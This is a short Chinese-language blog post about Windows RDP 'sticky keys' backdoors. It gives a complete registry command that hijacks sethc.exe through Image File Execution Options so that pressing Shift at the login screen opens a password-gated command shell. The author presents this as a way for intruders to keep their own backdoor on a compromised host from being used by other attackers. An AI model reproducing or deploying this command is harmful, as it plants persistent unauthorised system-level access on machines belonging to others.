给shift / 放大镜 等3389后门加个密码

Tuesday, August 13. 2019

  入侵测试过程中，有时会扫到3389，蛮按按shift 放大镜，跳出来别人的后门，直接秒杀了。

  当然我们希望避免这种情况，所以可以给后门加个简单的密码，防止被“蹭饭”

  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "cmd /S /C @echo off && set /p Password= &&for /f \"delims== tokens=2\" %i in ('set Password') do if %i==ThisIsPassword start cmd" /f

  ThisIsPassword就是自己设置的密码，按下后弹出框框，只有密码输对了才会继续弹出cmd

By Admin in Windows at 01:47 | Comments (0) | Read:310

Comments
Display comments as (Linear | Threaded)

No comments


Add Comment
Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.

To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.


There is no copyright.